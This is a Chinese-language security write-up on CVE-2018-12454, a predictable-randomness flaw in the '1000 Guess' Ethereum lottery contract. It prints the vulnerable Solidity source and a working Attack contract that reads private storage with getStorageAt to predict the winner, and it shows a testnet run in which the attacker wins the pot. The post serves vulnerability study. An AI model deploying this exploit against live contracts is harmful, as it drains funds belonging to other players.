

CVE-2018-12454合约代码详细分析

[Pinging](#) / 2019-05-25 08:39:00 / 浏览数 4437 [安全技术](#) [区块链安全](#) [顶\(0\)](#) [踩\(0\)](#)

一、漏洞概述

1000 Guess是一款基于以太坊的随机数竞猜游戏。1000

Guess中的simplelottery智能合约实现的'_addguess'函数存在安全漏洞，该漏洞源于程序使用公共可读取的变量生成随机值。攻击者可利用该漏洞一直获取奖励。

下面为CVE编号的详细内容。

CVE-ID	
CVE-2018-12454	Learn more at National Vulnerability Database (NVD) • CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information
Description	
The _addguess function of a simplelottery smart contract implementation for 1000 Guess, an Ethereum gambling game, generates a random value with publicly readable variables such as the current block information and a private variable (which can be read with a getStorageAt call). Therefore, it allows attackers to always win and get rewards.	
References	
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.	
• MISC: https://medium.com/@jonghyk.song/attack-on-pseudo-random-number-generator-prng-used-in-1000-guess-an-ethereum-lottery-game-7b76655f953d	
Assigning CNA	
MITRE Corporation	
Date Entry Created	
20180615	Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.
Phase (Legacy)	
Assigned (20180615)	
Votes (Legacy)	
Comments (Legacy)	
Proposed (Legacy)	
N/A	
This is an entry on the CVE List , which provides common identifiers for publicly known cybersecurity vulnerabilities.	
SEARCH CVE USING KEYWORDS: <input type="text"/> <input type="button" value="Submit"/> You can also search by reference using the CVE Reference Maps .	
For More Information: cve@mitre.org	

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12454>

1000

Guess作为以太坊的精彩读博游戏被爆出存在存储随机数预测漏洞。此合约通过生成随机数来预测获得大奖的钱包地址。在生成随机数的过程中，该合约通过sha256计算合

二、合约分析

合约代码如下地址：<https://etherscan.io/address/0x386771ba5705da638d889381471ec1025a824f53#code>

/**

* Source Code first verified at <https://etherscan.io> on Saturday, November 25, 2017
(UTC) */

```
pragma solidity ^0.4.11;
contract simplelottery {
    enum State { Started, Locked }
    State public state = State.Started;
    struct Guess{
        address addr;
        //uint    guess;
    }
    uint arraysize=1000;
    uint constant maxguess=1000000;
    uint bettingprice = 1 ether;
    Guess[1000] guesses;
    uint    numguesses = 0;
    bytes32 curhash = '';
    uint _gameindex = 1;
    uint _starttime = 0;
    modifier inState(State _state) {
        require(state == _state);
        _;
```

```

}
address developer = 0x0;
address _winner = 0x0;
event SentPrizeToWinner(address winner, uint money, uint gameindex, uint lotteryNumber, uint starttime, uint finishtime);
event SentDeveloperFee(uint amount, uint balance);

function simplelottery()
{
    if(developer==address(0)){
        developer = msg.sender;
        state = State.Started;
        _starttime = block.timestamp;
    }
}

function setBettingCondition(uint _contenders, uint _bettingprice)
{
    if(msg.sender != developer)
        return;
    arraysize = _contenders;
    if(arraysize>1000)
        arraysize = 1000;
    bettingprice = _bettingprice;
}

function findWinner(uint value)
{
    uint i = value % numguesses;
    _winner = guesses[i].addr;
}

function getMaxContenders() constant returns(uint){
    return arraysize;
}

function getBettingPrice() constant returns(uint){
    return bettingprice;
}

function getDeveloperAddress() constant returns(address)
{
    return developer;
}

function getDeveloperFee() constant returns(uint)
{
    uint developerfee = this.balance/100;
    return developerfee;
}

function getBalance() constant returns(uint)
{
    return this.balance;
}

function getLotteryMoney() constant returns(uint)
{
    uint developerfee = getDeveloperFee();
    uint prize = (this.balance - developerfee);
    return prize;
}

function getBettingStatus()
    constant
    returns (uint, uint, uint, uint, uint, uint, uint)
{
    return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
}

```

```

function finish()
{
    if(msg.sender != developer)
        return;
    _finish();
}

function _finish() private
{
    state = State.Locked;
    uint block_timestamp = block.timestamp;
    uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
    findWinner(lotterynumber);
    uint prize = getLotteryMoney();
    uint numwinners = 1;
    uint remain = this.balance - (prize*numwinners);

    _winner.transfer(prize);
    SentPrizeToWinner(_winner, prize, _gameindex, lotterynumber, _starttime, block_timestamp);

    // give delveoper the money left behind
    developer.transfer(remain);
    SentDeveloperFee(remain, this.balance);
    numguesses = 0;
    _gameindex++;
    state = State.Started;
    _starttime = block.timestamp;
}

function () payable
{
    _addguess();
}

function addguess()
    inState(State.Started)
    payable
{
    _addguess();
}

function _addguess() private
    inState(State.Started)
{
    require(msg.value >= bettingprice);
    curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
    if((uint)(numguesses+1)<=arraysize) {
        guesses[numguesses++].addr = msg.sender;
        if((uint)(numguesses)>=arraysize){
            _finish();
        }
    }
}
}

```

首先介绍合约涉及的变量情况。根据合约定义，首先定义state枚举变量，用以控制合约是否停止运行。之后定义Guess结构体与相应数组，用以保存参与游戏的用户情况。

```

enum State { Started, Locked }
State public state = State.Started;
struct Guess{
    address addr;
    //uint    guess;
}
uint arraysize=1000;
uint constant maxguess=1000000;
uint bettingprice = 1 ether;
Guess[1000] guesses;
uint    numguesses = 0;
bytes32 curhash = '';
uint _gameindex = 1;
uint _starttime = 0;
modifier inState(State _state) {
    require(state == _state);
    _;
}

```



下面函数为构造函数，其中定义了建立者地址、当前合约的运行状态以及当前的时间戳信息。

```

function simplelottery()
{
    if(developer==address(0)){
        developer = msg.sender;
        state = State.Started;
        _starttime = block.timestamp;
    }
}

```

下面函数作用是用于修改该合约竞猜函数触发门限值与竞猜最小代币量。

```

function setBettingCondition(uint _contenders, uint _bettingprice)
{
    if(msg.sender != developer)
        return;
    arraysize = _contenders;
    if(arraysize>1000)
        arraysize = 1000;
    bettingprice = _bettingprice;
}

```

下面的一系列函数为用户返回各种参数。

```

function getMaxContenders() constant returns(uint){
    return arraysize;
}

function getBettingPrice() constant returns(uint){
    return bettingprice;
}

```

```

function getDeveloperAddress() constant returns(address)
{
    return developer;
}

function getDeveloperFee() constant returns(uint)
{
    uint developerfee = this.balance/100;
    return developerfee;
}

function getBalance() constant returns(uint)
{
    return this.balance;
}

```

下方函数返回了合约中较为关键的变量信息，例如当前时间戳信息、当前竞猜数字、奖金额度、合约余额、竞猜手续费。

```

function getBettingStatus()
    constant
    returns (uint, uint, uint, uint, uint, uint, uint)
{
    return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
}

```

之后我们介绍合约的关键函数。当用户调用addguess函数时，首先将合约的状态改变为“开始”，之后判断用户传入的金额是否满足竞猜手续费，当满足时进入下面的函数。

之后根据当前区块上的私有信息计算哈希值：curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);

之后判断是否触发竞猜函数，例如当当前numguesses +

1还未到达竞猜门限值，此时将guess数组中添加当前调用函数的合约地址，便于后续此地址参与奖金竞猜。当最后一位参加竞猜的用户调用此函数时，即到达门限值时触发

```

function () payable
{
    _addguess();
}

function addguess()
    inState(State.Started)
    payable
{
    _addguess();
}

function _addguess() private
    inState(State.Started)
{
    require(msg.value >= bettingprice);
    curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
    if((uint)(numguesses+1)<=arraysize) {
        guesses[numguesses++].addr = msg.sender;
        if((uint)(numguesses)>=arraysize){
            _finish();
        }
    }
}

```

当触发竞猜函数时便调用下方函数。进入函数后，首先将合约设置为暂停，以防止在进行竞猜过程中有新用户参与。之后赋值新时间戳、计算竞猜随机数。之后调用findWin

```

function finish()
{
    if(msg.sender != developer)
        return;
    _finish();
}

function _finish() private
{
    state = State.Locked;
}

```

```

uint block_timestamp = block.timestamp;
uint lotteryNumber = (uint(curhash)+block_timestamp)%(maxguess+1);
findWinner(lotteryNumber);
uint prize = getLotteryMoney();
uint numwinners = 1;
uint remain = this.balance - (prize*numwinners);

_winner.transfer(prize);
SentPrizeToWinner(_winner, prize, _gameindex, lotteryNumber, _starttime, block_timestamp);

// give delveoper the money left behind
developer.transfer(remain);
SentDeveloperFee(remain, this.balance);
numguesses = 0;
_gameindex++;
state = State.Started;
_starttime = block.timestamp;
}

```

而如何寻找这个幸运儿呢？

```

function findWinner(uint value)
{
    uint i = value % numguesses;
    _winner = guesses[i].addr;
}

```

此函数传入value（此变量为上一个函数中的随机数），之后取余得到i。

下面我们来看一下此合约的漏洞在何处。

三、漏洞测试

在复现操作之前，我将简单介绍下本漏洞的成因。

熟悉以太坊漏洞的同学应该知道，在随机数应用中最容易产生的漏洞就属随机数预测。由于以太坊的机制，其所有信息均在链上且对外均为可见。即区块链上的随机数并不能

我们跟读一下合约，作为一个参与者我们肯定首先会参与到合约中来。于是我们将调用addguess()，之后函数调用_addguess()并向合约传入预设的合约费用Value，之

而上述随机数种子均可以被我们通过手段获得，于是我们便可以同合约一样，可以知道当前用户开奖操作的最终中奖人。

此时，倘若我们提前得到了中奖人信息，那么如果中奖人为攻击者，那么攻击者变执行操作否则便revert()即可。于是当攻击者不断进行尝试直到计算出中奖者为自己。

下面我们将进行漏洞复现：

首先我们使用账户为0x910c8F13e4fB8d640C593A5A6CE74ea1a842a963的钱包，部署合约。

browser/hack.sol x

```
7  enum State { Started, Locked }
8  State public state = State.Started;
9  struct Guess{
10     address addr;
11     //uint guess;
12 }
13 uint arraysize=1000;
14 uint constant maxguess=1000000;
15 uint bettingprice = 1 ether;
16 Guess[1000] guesses;
17 uint numguesses = 0;
18 bytes32 curhash = '';
19 uint _gameindex = 1;
20 uint _starttime = 0;
21 modifier inState(State _state) {
22     require(state == _state);
23 }
24
25 address developer = 0x0;
26 address _winner = 0x0;
27 event SentPrizeToWinner(address winner, uint money, uint gameindex, uint lotterynumber, uint starttime, uint
28 event SentDeveloperFee(uint amount, uint balance);
29
30 function simplelottery()
31 {
32     if(developer==address(0)){
33         developer = msg.sender;
34         state = State.Started;
35         _starttime = block.timestamp;
36     }
37 }
38
39 function setBettingCondition(uint _contenders, uint _bettingprice)
```

Environment Injected Web3 Ropsten (3)

Account 0x910...2a963 (11.0980408085999989)

Gas limit 3000000

Value 0 wei

simplelottery

Deploy

or

At Address Load contract from Address

Transactions recorded: 1

Deployed Contracts

simplelottery at 0xfa6...f563e (blockchain)

(fallback)

addguess

findWinner uint256 value

finish

setBettingCon uint256 _contenders, uint256 _bettingprice

getBalance

getBettingPric

getBettingStat

getDeveloperA

getDeveloperF

creation of simplelottery pending...

https://ropsten.etherscan.io/tx/0x6129d09c3f9f4a1ca335a38048ddc4e43fc997b09c221d147484c2c737081f

[block:5620935 txIndex:9] from:0x910...2a963 to:simplelottery.(constructor) value:0 wei data:0x606...b0029 logs:0 hash:0x612...7081f

Debug

为了便于后续进行演示操作，我们将合约的部分参数进行修改。将门限值修改为3并降低参与金额（将默认的1 eth修改为100 wei，方便后续操作）。

setBettingCon 3,100

getBalance

0: uint256: 0

getBettingPric

0: uint256: 100

getBettingStat

0: uint256: 0

1: uint256: 1

2: uint256: 1558169663

3: uint256: 0

4: uint256: 0

5: uint256: 0

6: uint256: 100

为了模拟攻击过程，我们使用当前钱包地址参与到竞猜活动中，并传入1 eth合同费。

Environment Injected Web3 Ropsten (3) i

Account + 0x910...2a963 (10.0978905545999989) 📄 ✎

Gas limit 999993000000

Value 1 ether ⬆ ⬆

simplelottery ⬆ i

Deploy

or

At Address 0xfa6826d4456b8d21aa62c7989ea42c3

Transactions recorded: 3 ⌵

Deployed Contracts 🗑

▼ simplelottery at 0xfa6...f563e (blockchain) 📄 ×

(fallback)

addguess

findWinner uint256 value ⌵

finish

setBettingCon 3,100 ⌵

getBalance

0: uint256: 10000000000000000000

getBettingPric

0: uint256: 100

ter the value and choose the unit

这时我们查看奖励金：

getBettingStat

Enter the value and choose the unit

- 0: uint256: 0
- 1: uint256: 1
- 2: uint256: 1558169663
- 3: uint256: 1
- 4: uint256: 9900000000000000000
- 5: uint256: 10000000000000000000
- 6: uint256: 100

即获得奖励的账户能够获得相应的奖励。

之后我使用第二个合约账户并传入1000wei参与合约竞猜。此时numguesses为2。

getBettingStat

- 0: uint256: 0
- 1: uint256: 1
- 2: uint256: 1558169663
- 3: uint256: 2
- 4: uint256: 99000000000000000990
- 5: uint256: 10000000000000001000
- 6: uint256: 100

而我们设置开奖门限为3，所以下一次新用户参与将会调用开奖合约。

getMaxConten

- 0: uint256: 3

此时我们撰写攻击函数：

```
contract Attack{
    address public owner;
    simplelottery lottery;
    uint constant maxguess=1000000;
    uint numguesses;
    event success(string s, uint balance);
    // constructor() public{
    //     owner = msg.sender;
    // }
    function () payable{}
    function attack(address target, bytes32 curhash, uint arraysize, uint attackerid) public payable{
        lottery = simplelottery(target);
```

```

        (,,,numguesses,,,)= lottery.getBettingStatus();
        if(numguesses != arraysize - 1) revert();
        curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
        uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
        uint i = lotterynumber % arraysize;
        if(attackerid != i) revert();
        target.call.value(0.01 ether)();
        success("Attack success!",this.balance);
        msg.sender.transfer(this.balance);
    }
}

```

此时我们需要通过链的特性来获取到其隐藏数据。通过分析，我们发现curhash我们并不知道，如果不知道此参数那么我们变无法进行预测。

此处教大家一个姿势，我们可以通过web3函数来获取到存在于链上的数据。

```
web3.eth.getStorageAt("0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", x, function(x, y) {console.warn(y)});
```

此函数调用后，会获得地址上的位于x位置的链上数据。

Note

Everything that is inside a contract is visible to all external observers. Making something `private` only prevents other contracts from accessing and modifying the information, but it will still be visible to the whole world outside of the blockchain.

```
web3.eth.getStorageAt(contractAddress, position);
```

例如我们分析测试合约。

```

pragma solidity ^0.4.11;
contract simplelottery {
    enum State { Started, Locked }
    State public state = State.Started;
    struct Guess{
        address addr;
        //uint guess;
    }
    uint arraysize=1000;
    uint constant maxguess=1000000;
    uint bettingprice = 1 ether;
    Guess[1000] guesses;
    uint numguesses = 0;

    bytes32 curhash = '';
    uint _gameindex = 1;
    uint _starttime = 0;
    modifier inState(State _state) {
        require(state == _state);
        _;
    }
    address developer = 0x0;
    address _winner = 0x0;
    event SentPrizeToWinner(address winner, uint money, uint gameindex, uint lotterynumber, uint amount);
    event SentDeveloperFee(uint amount, uint balance);
}

```

图中的编号为存储地址的位置。测试第一个位置：

[illegible]

第2个位置：



 ▶ VM177:1

```
0x00000000000000000000000000000000000000000000000000000  
0000000000000000000000000000000000000000000000064
```

100

于是我所需获取的curhash为1004位置。

```
> web3.eth.getStorageAt("0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", 1004, function(x, y) {console.warn(y)});  
< undefined
```

  VM205:1
0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00


先知社区

即：0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00













之后我们进入attack函数，并使用第二个账户进行恶意竞猜：

attack函数传入参数：0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e,
"0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00",3,1

第一次执行：

 [block:5632638 txIndex:16] from:0x9b9...f2ebe
to:Attack.attack(address,bytes32,uint256,uint256) 0x4a0...bd86b value:0 wei
data:0x2c6...00001 logs:0 hash:0xefe...e80d9

Debug ^

status	0x0 Transaction mined but execution failed
transaction hash	0xefeb1dcbfa7bcc28d02989820c43eb3207628371fc98af10d68ca1001a9e80d9 
from	0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe 
to	Attack.attack(address,bytes32,uint256,uint256) 0x4a0481f19a0b748ddb50alccc40bb2ea15dbd86b 
gas	82944 gas 
transaction cost	71949 gas 
hash	0xefeb1dcbfa7bcc28d02989820c43eb3207628371fc98af10d68ca1001a9e80d9 
input	0x2c6...00001 
decoded input	{ "address target": "0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", "bytes32 curhash": "0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00", "uint256 arraysizes": "3", "uint256 attackerid": "1" } 
decoded output	- 
logs	[]  
value	0 wei 

先知社区

这意味着首次执行没有预测成功，所以函数revert了。

第二次执行：

[block:5632643 txIndex:52] from:0x9b9...f2ebe
to:Attack.attack(address,bytes32,uint256,uint256) 0x4a0...bd86b value:0 wei
data:0x2c6...00001 logs:1 hash:0x7ed...29522
Debug

status	0x1 Transaction mined and execution succeed
transaction hash	0x7eda6d76e6ed3d5b67089093224ce92b701b34ff44b0dad13ff539de8a429522
from	0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe
to	Attack.attack(address,bytes32,uint256,uint256) 0x4a0481f19a0b748ddb50a1ccc40bb2ea15dbd86b
gas	82944 gas
transaction cost	82944 gas
hash	0x7eda6d76e6ed3d5b67089093224ce92b701b34ff44b0dad13ff539de8a429522
input	0x2c6...00001
decoded input	<pre>{ "address target": "0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", "bytes32 curhash": "0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00", "uint256 arraysize": "3", "uint256 attackerid": "1" }</pre>
decoded output	-
logs	<pre>[{ "from": "0x4a0481f19a0b748ddb50a1ccc40bb2ea15dbd86b", "topic": "0xcff9825eb5f7113a05f2008b9b155a73b43223flacacae08ba9295a715a032", event : success , "args": { "0": "Attack success!", "1": "0", "s": "Attack success!", "balance": "0", "length": 2 } }]</pre>

成功。由于我们门限设置的仅为3，所以第二次尝试就预测成功了。现在我们来看看合约，发现合约已经归零，并且其中的奖励已经发放给攻击者。

getBettingStat

116

- 0: uint256: 0
- 1: uint256: 2
- 2: uint256: 1558332052
- 3: uint256: 0
- 4: uint256: 0
- 5: uint256: 0
- 6: uint256: 100

这个cve利用手段较为容易，由于原代码中使用1000长度来装载参与者，所以此利用可以使用脚本来进行循环执行，以便达到攻击的作用。

四、参考

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12454>

<https://medium.com/coinmonks/attack-on-pseudo-random-number-generator-prng-used-in-1000-guess-an-ethereum-lottery-game-7b76655f953d>

<https://www.anquanke.com/vul/id/1209389>

<https://web3js.readthedocs.io/en/1.0/web3-eth.html#getstorageat>



点击收藏 | 0 关注 | 1

[上一篇：Facebook 赏金\\$7,500...](#) [下一篇：APT28分析之DDE样本分析](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)